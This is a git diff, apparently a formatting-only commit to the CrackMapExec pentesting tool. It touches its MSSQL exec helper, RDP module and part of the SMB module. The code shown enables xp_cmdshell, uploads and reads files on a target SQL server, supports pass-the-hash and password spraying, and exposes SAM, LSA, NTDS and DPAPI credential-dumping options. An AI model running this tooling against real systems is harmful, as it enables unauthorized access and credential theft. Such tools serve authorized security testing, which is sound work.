self.mssql_conn.sql_query( + "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;" + ) def disable_xp_cmdshell(self): - self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") + self.mssql_conn.sql_query( + "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;" + ) def enable_ole(self): - self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;") + self.mssql_conn.sql_query( + "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;" + ) def disable_ole(self): - self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;") + self.mssql_conn.sql_query( + "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;" + ) def put_file(self, data, remote): try: self.enable_ole() hexdata = data.hex() - self.mssql_conn.sql_query("DECLARE @ob INT;" - "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" - "EXEC sp_OASetProperty @ob, 'Type', 1;" - "EXEC sp_OAMethod @ob, 'Open';" - "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" - "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" - "EXEC sp_OAMethod @ob, 'Close';" - "EXEC sp_OADestroy @ob;".format(hexdata, remote)) + self.mssql_conn.sql_query( + "DECLARE @ob INT;" + "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" + "EXEC sp_OASetProperty @ob, 'Type', 1;" + "EXEC sp_OAMethod @ob, 'Open';" + "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" + "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" + "EXEC sp_OAMethod @ob, 'Close';" + "EXEC sp_OADestroy @ob;".format(hexdata, remote) + ) self.disable_ole() except Exception as e: cme_logger.debug(f"Error uploading via mssqlexec: {e}") @@ -75,18 +89,20 @@ class MSSQLEXEC: try: res = self.mssql_conn.batch( f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n" - )[0]['n'] + )[0]["n"] return res == 1 except: return False def get_file(self, remote, local): try: - self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs") + self.mssql_conn.sql_query( + f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs" + ) data = self.mssql_conn.rows[0]["BulkColumn"] with open(local, "wb+") as f: f.write(binascii.unhexlify(data)) except Exception as e: - cme_logger.debug(f"Error downloading via mssqlexec: {e}") \ No newline at end of file + cme_logger.debug(f"Error downloading via mssqlexec: {e}") diff --git a/cme/protocols/rdp.py b/cme/protocols/rdp.py index 6bd1364a..631a3c7e 100644 --- a/cme/protocols/rdp.py +++ b/cme/protocols/rdp.py @@ -21,25 +21,24 @@ from asyauth.common.constants import asyauthSecret from asysocks.unicomm.common.target import UniTarget, UniProto rdp_error_status = { - '0xc0000071': 'STATUS_PASSWORD_EXPIRED', - '0xc0000234': 'STATUS_ACCOUNT_LOCKED_OUT', - '0xc0000072' : 'STATUS_ACCOUNT_DISABLED', - '0xc0000193' : 'STATUS_ACCOUNT_EXPIRED', - '0xc000006E' : 'STATUS_ACCOUNT_RESTRICTION', - '0xc000006F' : 'STATUS_INVALID_LOGON_HOURS', - '0xc0000070' : 'STATUS_INVALID_WORKSTATION', - '0xc000015B' : 'STATUS_LOGON_TYPE_NOT_GRANTED', - '0xc0000224' : 'STATUS_PASSWORD_MUST_CHANGE', - '0xc0000022' : 'STATUS_ACCESS_DENIED', - '0xc000006d' : 'STATUS_LOGON_FAILURE', - '0xc000006a' : 'STATUS_WRONG_PASSWORD ', - 'KDC_ERR_CLIENT_REVOKED':'KDC_ERR_CLIENT_REVOKED', - 'KDC_ERR_PREAUTH_FAILED':'KDC_ERR_PREAUTH_FAILED' + "0xc0000071": "STATUS_PASSWORD_EXPIRED", + "0xc0000234": "STATUS_ACCOUNT_LOCKED_OUT", + "0xc0000072": "STATUS_ACCOUNT_DISABLED", + "0xc0000193": "STATUS_ACCOUNT_EXPIRED", + "0xc000006E": "STATUS_ACCOUNT_RESTRICTION", + "0xc000006F": "STATUS_INVALID_LOGON_HOURS", + "0xc0000070": "STATUS_INVALID_WORKSTATION", + "0xc000015B": "STATUS_LOGON_TYPE_NOT_GRANTED", + "0xc0000224": "STATUS_PASSWORD_MUST_CHANGE", + "0xc0000022": "STATUS_ACCESS_DENIED", + "0xc000006d": "STATUS_LOGON_FAILURE", + "0xc000006a": "STATUS_WRONG_PASSWORD ", + "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", + "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", } class rdp(connection): - def __init__(self, args, db, host): self.domain = None self.server_os = None @@ -47,9 +46,19 @@ class rdp(connection): self.iosettings.channels = [] self.iosettings.video_out_format = VIDEO_FORMAT.RAW self.iosettings.clipboard_use_pyperclip = False - self.protoflags_nla = [SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL, SUPP_PROTOCOLS.RDP] - self.protoflags = [SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL, SUPP_PROTOCOLS.RDP, SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.HYBRID, SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.HYBRID_EX] - width, height = args.res.upper().split('X') + self.protoflags_nla = [ + SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP, + SUPP_PROTOCOLS.SSL, + SUPP_PROTOCOLS.RDP, + ] + self.protoflags = [ + SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP, + SUPP_PROTOCOLS.SSL, + SUPP_PROTOCOLS.RDP, + SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.HYBRID, + SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.HYBRID_EX, + ] + width, height = args.res.upper().split("X") height = int(height) width = int(width) self.iosettings.video_width = width @@ -72,22 +81,74 @@ class rdp(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - rdp_parser = parser.add_parser('rdp', help="own stuff using RDP", parents=[std_parser, module_parser]) - rdp_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') - rdp_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') - rdp_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") - rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port") - rdp_parser.add_argument("--rdp-timeout", type=int, default=1, help="RDP timeout on socket connection") - rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled") + rdp_parser = parser.add_parser( + "rdp", help="own stuff using RDP", parents=[std_parser, module_parser] + ) + rdp_parser.add_argument( + "-H", + "--hash", + metavar="HASH", + dest="hash", + nargs="+", + default=[], + help="NTLM hash(es) or file(s) containing NTLM hashes", + ) + rdp_parser.add_argument( + "--no-bruteforce", + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2", + ) + rdp_parser.add_argument( + "--continue-on-success", + action="store_true", + help="continues authentication attempts even after successes", + ) + rdp_parser.add_argument( + "--port", type=int, default=3389, help="Custom RDP port" + ) + rdp_parser.add_argument( + "--rdp-timeout", + type=int, + default=1, + help="RDP timeout on socket connection", + ) + rdp_parser.add_argument( + "--nla-screenshot", + action="store_true", + help="Screenshot RDP login prompt if NLA is disabled", + ) dgroup = rdp_parser.add_mutually_exclusive_group() - dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") - dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') + dgroup.add_argument( + "-d", + metavar="DOMAIN", + dest="domain", + type=str, + default=None, + help="domain to authenticate to", + ) + dgroup.add_argument( + "--local-auth", + action="store_true", + help="authenticate locally to each target", + ) - egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot") - egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success") - egroup.add_argument('--screentime', type=int, default=10, help='Time to wait for desktop image') - egroup.add_argument('--res', default='1024x768', help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"') + egroup = rdp_parser.add_argument_group( + "Screenshot", "Remote Desktop Screenshot" + ) + egroup.add_argument( + "--screenshot", + action="store_true", + help="Screenshot RDP if connection success", + ) + egroup.add_argument( + "--screentime", type=int, default=10, help="Time to wait for desktop image" + ) + egroup.add_argument( + "--res", + default="1024x768", + help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"', + ) return parser @@ -107,27 +168,39 @@ class rdp(connection): "protocol": "RDP", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) def print_host_info(self): if self.domain is None: - self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})") + self.logger.display( + f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})" + ) else: - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})") + self.logger.display( + f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})" + ) return True def create_conn_obj(self): - self.target = RDPTarget(ip=self.host, domain="FAKE", timeout=self.args.rdp_timeout) - self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) + self.target = RDPTarget( + ip=self.host, domain="FAKE", timeout=self.args.rdp_timeout + ) + self.auth = NTLMCredential( + secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS + ) self.check_nla() for proto in reversed(self.protoflags): try: self.iosettings.supported_protocols = proto - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, + target=self.target, + credentials=self.auth, + ) asyncio.run(self.connect_rdp()) except OSError as e: if "Errno 104" not in str(e): @@ -139,7 +212,11 @@ class rdp(connection): info_domain = self.conn.get_extra_info() self.domain = info_domain["dnsdomainname"] self.hostname = info_domain["computername"] - self.server_os = info_domain["os_guess"] + " Build " + str(info_domain['os_build']) + self.server_os = ( + info_domain["os_guess"] + + " Build " + + str(info_domain["os_build"]) + ) self.output_filename = os.path.expanduser( f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" @@ -149,11 +226,17 @@ class rdp(connection): if self.args.domain: self.domain = self.args.domain - + if self.args.local_auth: self.domain = self.hostname - self.target = RDPTarget(ip=self.host, hostname=self.hostname, domain=self.domain, dc_ip=self.domain, timeout=self.args.rdp_timeout) + self.target = RDPTarget( + ip=self.host, + hostname=self.hostname, + domain=self.domain, + dc_ip=self.domain, + timeout=self.args.rdp_timeout, + ) return True @@ -161,9 +244,17 @@ class rdp(connection): for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, + target=self.target, + credentials=self.auth, + ) asyncio.run(self.connect_rdp()) - if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP": + if ( + str(proto) == "SUPP_PROTOCOLS.RDP" + or str(proto) == "SUPP_PROTOCOLS.SSL" + or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP" + ): self.nla = False return except Exception as e: @@ -174,13 +265,22 @@ class rdp(connection): if err is not None: raise err - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login( + self, + domain, + username, + password="", + ntlm_hash="", + aesKey="", + kdcHost="", + useCache=False, + ): try: - lmhash = '' - nthash = '' + lmhash = "" + nthash = "" # This checks to see if we didn't provide the LM Hash - if ntlm_hash.find(':') != -1: - lmhash, nthash = ntlm_hash.split(':') + if ntlm_hash.find(":") != -1: + lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash @@ -190,10 +290,10 @@ class rdp(connection): if nthash: self.nthash = nthash - if not all('' == s for s in [nthash, password, aesKey]): + if not all("" == s for s in [nthash, password, aesKey]): kerb_pass = next(s for s in [nthash, password, aesKey] if s) else: - kerb_pass = '' + kerb_pass = "" fqdn_host = self.hostname + "." + self.domain password = password if password else nthash @@ -201,13 +301,17 @@ class rdp(connection): if useCache: stype = asyauthSecret.CCACHE if not password: - password = getenv('KRB5CCNAME') if not password else password + password = getenv("KRB5CCNAME") if not password else password if "/" in password: - self.logger.fail("Kerberos ticket need to be on the local directory") + self.logger.fail( + "Kerberos ticket need to be on the local directory" + ) return False - ccache = CCache.loadFile(getenv('KRB5CCNAME')) + ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] - username = ticketCreds['client'].prettyPrint().decode().split('@')[0] + username = ( + ticketCreds["client"].prettyPrint().decode().split("@")[0] + ) else: stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT @@ -217,30 +321,40 @@ class rdp(connection): UniProto.CLIENT_TCP, proxies=None, dns=None, - dc_ip=self.domain + dc_ip=self.domain, ) self.auth = KerberosCredential( target=kerberos_target, secret=password, username=username, domain=domain, - stype=stype + stype=stype, ) self.conn = RDPConnection( - iosettings=self.iosettings, - target=self.target, - credentials=self.auth + iosettings=self.iosettings, target=self.target, credentials=self.auth ) asyncio.run(self.connect_rdp()) self.admin_privs = True self.logger.success( - u"{}\\{}{} {}".format( - domain, - username, - # Show what was used between cleartext, nthash, aesKey and ccache - " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')) + "{}\\{}{} {}".format( + domain, + username, + # Show what was used between cleartext, nthash, aesKey and ccache + " from ccache" + if useCache + else ":%s" + % ( + kerb_pass + if not self.config.get("CME", "audit_mode") + else self.config.get("CME", "audit_mode") * 8 + ), + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), + ) ) if not self.args.local_auth: add_user_bh(username, domain, self.logger, self.config) @@ -255,15 +369,24 @@ class rdp(connection): reason = rdp_error_status[word] self.logger.fail( f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}", - color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else 'red' + color="magenta" + if ( + (reason or "CredSSP" in str(e)) + and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN" + ) + else "red", ) elif "Authentication failed!" in str(e): self.logger.success( - u"{}\\{}:{} {}".format( + "{}\\{}:{} {}".format( domain, username, password, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), ) ) elif "No such file" in str(e): @@ -277,23 +400,39 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}", - color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red' + color="magenta" + if ( + (reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE" + ) + else "red", ) return False def plaintext_login(self, domain, username, password): try: - self.auth = NTLMCredential(secret=password, username=username, domain=domain, stype=asyauthSecret.PASS) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.auth = NTLMCredential( + secret=password, + username=username, + domain=domain, + stype=asyauthSecret.PASS, + ) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth + ) asyncio.run(self.connect_rdp()) self.admin_privs = True self.logger.success( - u"{}\\{}:{} {}".format( + "{}\\{}:{} {}".format( domain, username, password, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), ) ) if not self.args.local_auth: @@ -303,11 +442,15 @@ class rdp(connection): except Exception as e: if "Authentication failed!" in str(e): self.logger.success( - u"{}\\{}:{} {}".format( + "{}\\{}:{} {}".format( domain, username, password, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), ) ) else: @@ -319,37 +462,57 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}", - color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red' + color="magenta" + if ( + (reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE" + ) + else "red", ) return False def hash_login(self, domain, username, ntlm_hash): try: - self.auth = NTLMCredential(secret=ntlm_hash, username=username, domain=domain, stype=asyauthSecret.NT) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.auth = NTLMCredential( + secret=ntlm_hash, + username=username, + domain=domain, + stype=asyauthSecret.NT, + ) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth + ) asyncio.run(self.connect_rdp()) self.admin_privs = True self.logger.success( - u"{}\\{}:{} {}".format( + "{}\\{}:{} {}".format( self.domain, username, ntlm_hash, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), ) ) if not self.args.local_auth: - add_user_bh(username, domain, self.logger, self.config) + add_user_bh(username, domain, self.logger, self.config) if not self.args.continue_on_success: return True except Exception as e: if "Authentication failed!" in str(e): self.logger.success( - u"{}\\{}:{} {}".format( + "{}\\{}:{} {}".format( domain, username, ntlm_hash, - highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '') + highlight( + f'({self.config.get("CME", "pwn3d_label")})' + if self.admin_privs + else "" + ), ) ) else: @@ -359,16 +522,23 @@ class rdp(connection): reason = rdp_error_status[word] if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" - + self.logger.fail( f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}", - color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red' + color="magenta" + if ( + (reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE" + ) + else "red", ) return False async def screen(self): try: - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth + ) await self.connect_rdp() except Exception as e: return @@ -384,12 +554,16 @@ class rdp(connection): def screenshot(self): asyncio.run(self.screen()) - + async def nla_screen(self): # Otherwise it crash self.iosettings.supported_protocols = None - self.auth = NTLMCredential(secret='', username='', domain='', stype=asyauthSecret.PASS) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.auth = NTLMCredential( + secret="", username="", domain="", stype=asyauthSecret.PASS + ) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth + ) await self.connect_rdp_old(self.url) await asyncio.sleep(int(self.args.screentime)) diff --git a/cme/protocols/rdp/database.py b/cme/protocols/rdp/database.py index f2c4a94f..fb144a24 100644 --- a/cme/protocols/rdp/database.py +++ b/cme/protocols/rdp/database.py @@ -3,7 +3,11 @@ from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from cme.logger import cme_logger @@ -15,10 +19,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -26,26 +27,34 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "credentials" ( + db_conn.execute( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text, "pkey" text - )''') + )""" + ) - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, "port" integer, "server_banner" text - )''') + )""" + ) def reflect_tables(self): with self.db_engine.connect() as conn: try: - self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) - self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) + self.CredentialsTable = Table( + "credentials", self.metadata, autoload_with=self.db_engine + ) + self.HostsTable = Table( + "hosts", self.metadata, autoload_with=self.db_engine + ) except (NoInspectionAvailable, NoSuchTableError): print( "[-] Error reflecting tables - this means there is a DB schema mismatch \n" diff --git a/cme/protocols/rdp/db_navigator.py b/cme/protocols/rdp/db_navigator.py index afeb6af1..b1afbf92 100644 --- a/cme/protocols/rdp/db_navigator.py +++ b/cme/protocols/rdp/db_navigator.py @@ -6,7 +6,12 @@ from cme.cmedb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): - if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": + if ( + input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) + == "y" + ): self.db.clear_database() def help_clear_database(self): @@ -15,4 +20,4 @@ class navigator(DatabaseNavigator): THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ - print_help(help_string) \ No newline at end of file + print_help(help_string) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index b225c22c..ef4d065b 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -10,7 +10,12 @@ from Cryptodome.Hash import MD4 from impacket.examples.ntlmrelayx.attacks.ldapattack import MSDS_MANAGEDPASSWORD_BLOB from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT -from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes +from impacket.examples.secretsdump import ( + RemoteOperations, + SAMHashes, + LSASecrets, + NTDSHashes, +) from impacket.nmb import NetBIOSError, NetBIOSTimeout from impacket.dcerpc.v5 import transport, lsat, lsad, scmr from impacket.dcerpc.v5.rpcrt import DCERPCException @@ -71,7 +76,7 @@ smb_error_status = [ "STATUS_ACCESS_DENIED", "STATUS_NO_SUCH_FILE", "KDC_ERR_CLIENT_REVOKED", - "KDC_ERR_PREAUTH_FAILED" + "KDC_ERR_PREAUTH_FAILED", ] @@ -114,7 +119,7 @@ def requires_smb_server(func): if "payload" in kwargs: payload = kwargs["payload"] if "get_output" in kwargs: - get_output = kwargs['get_output'] + get_output = kwargs["get_output"] if "methods" in kwargs: methods = kwargs["methods"] if not payload and self.args.execute: @@ -127,7 +132,7 @@ def requires_smb_server(func): self.cme_logger, smb_share_name, listen_port=self.args.smb_server_port, - verbose=self.args.verbose + verbose=self.args.verbose, ) smb_server.start() @@ -146,8 +151,8 @@ class smb(connection): self.server_os = None self.os_arch = 0 self.hash = None - self.lmhash = '' - self.nthash = '' + self.lmhash = "" + self.nthash = "" self.remote_ops = None self.bootkey = None self.output_filename = None @@ -161,105 +166,319 @@ class smb(connection): @staticmethod def proto_args(parser, std_parser, module_parser): - smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser]) - smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], - help="NTLM hash(es) or file(s) containing NTLM hashes") - smb_parser.add_argument("--no-bruteforce", action="store_true", - help="No spray when using file for username and password (user1 => password1, user2 => password2") + smb_parser = parser.add_parser( + "smb", help="own stuff using SMB", parents=[std_parser, module_parser] + ) + smb_parser.add_argument( + "-H", + "--hash", + metavar="HASH", + dest="hash", + nargs="+", + default=[], + help="NTLM hash(es) or file(s) containing NTLM hashes", + ) + smb_parser.add_argument( + "--no-bruteforce", + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2", + ) dgroup = smb_parser.add_mutually_exclusive_group() - dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") - dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") - smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)") - smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)") - smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) - smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", - help="outputs all hosts that don't require SMB signing to the specified file") - smb_parser.add_argument("--continue-on-success", action="store_true", - help="continues authentication attempts even after successes") - smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2) - smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", - nargs="?", const="administrator") + dgroup.add_argument( + "-d", + metavar="DOMAIN", + dest="domain", + type=str, + help="domain to authenticate to", + ) + dgroup.add_argument( + "--local-auth", + action="store_true", + help="authenticate locally to each target", + ) + smb_parser.add_argument( + "--port", + type=int, + choices={445, 139}, + default=445, + help="SMB port (default: 445)", + ) + smb_parser.add_argument( + "--share", + metavar="SHARE", + default="C$", + help="specify a share (default: C$)", + ) + smb_parser.add_argument( + "--smb-server-port", + default="445", + help="specify a server port for SMB", + type=int, + ) + smb_parser.add_argument( + "--gen-relay-list", + metavar="OUTPUT_FILE", + help="outputs all hosts that don't require SMB signing to the specified file", + ) + smb_parser.add_argument( + "--continue-on-success", + action="store_true", + help="continues authentication attempts even after successes", + ) + smb_parser.add_argument( + "--smb-timeout", + help="SMB connection timeout, default 2 secondes", + type=int, + default=2, + ) + smb_parser.add_argument( + "--laps", + dest="laps", + metavar="LAPS", + type=str, + help="LAPS authentification", + nargs="?", + const="administrator", + ) - cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") + cgroup = smb_parser.add_argument_group( + "Credential Gathering", "Options for gathering credentials" + ) cegroup = cgroup.add_mutually_exclusive_group() - cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") - cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") - cegroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", - help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") - cegroup.add_argument("--dpapi", choices={"password", "cookies"}, nargs="?", const="password", - help="dump DPAPI secrets from target systems, can dump cookies if you add \"cookies\"\n(default: password)") + cegroup.add_argument( + "--sam", action="store_true", help="dump SAM hashes from target systems" + ) + cegroup.add_argument( + "--lsa", action="store_true", help="dump LSA secrets from target systems" + ) + cegroup.add_argument( + "--ntds", + choices={"vss", "drsuapi"}, + nargs="?", + const="drsuapi", + help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)", + ) + cegroup.add_argument( + "--dpapi", + choices={"password", "cookies"}, + nargs="?", + const="password", + help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)', + ) # cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') # cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') - ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") - ngroup.add_argument("--mkfile", action="store", - help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") - ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") - ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC") - ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC") + ngroup = smb_parser.add_argument_group( + "Credential Gathering", "Options for gathering credentials" + ) + ngroup.add_argument( + "--mkfile", + action="store", + help="DPAPI option. File with masterkeys in form of {GUID}:SHA1", + ) + ngroup.add_argument( + "--pvk", action="store", help="DPAPI option. File with domain backupkey" + ) + ngroup.add_argument( + "--enabled", action="store_true", help="Only dump enabled targets from DC" + ) + ngroup.add_argument( + "--user", dest="userntds", type=str, help="Dump selected user from DC" + ) - egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") - egroup.add_argument("--shares", action="store_true", help="enumerate shares and access") - egroup.add_argument("--filter-shares", nargs="+", - help="Filter share by access, option 'read' 'write' or 'read,write'") - egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions") + egroup = smb_parser.add_argument_group( + "Mapping/Enumeration", "Options for Mapping/Enumerating" + ) + egroup.add_argument( + "--shares", action="store_true", 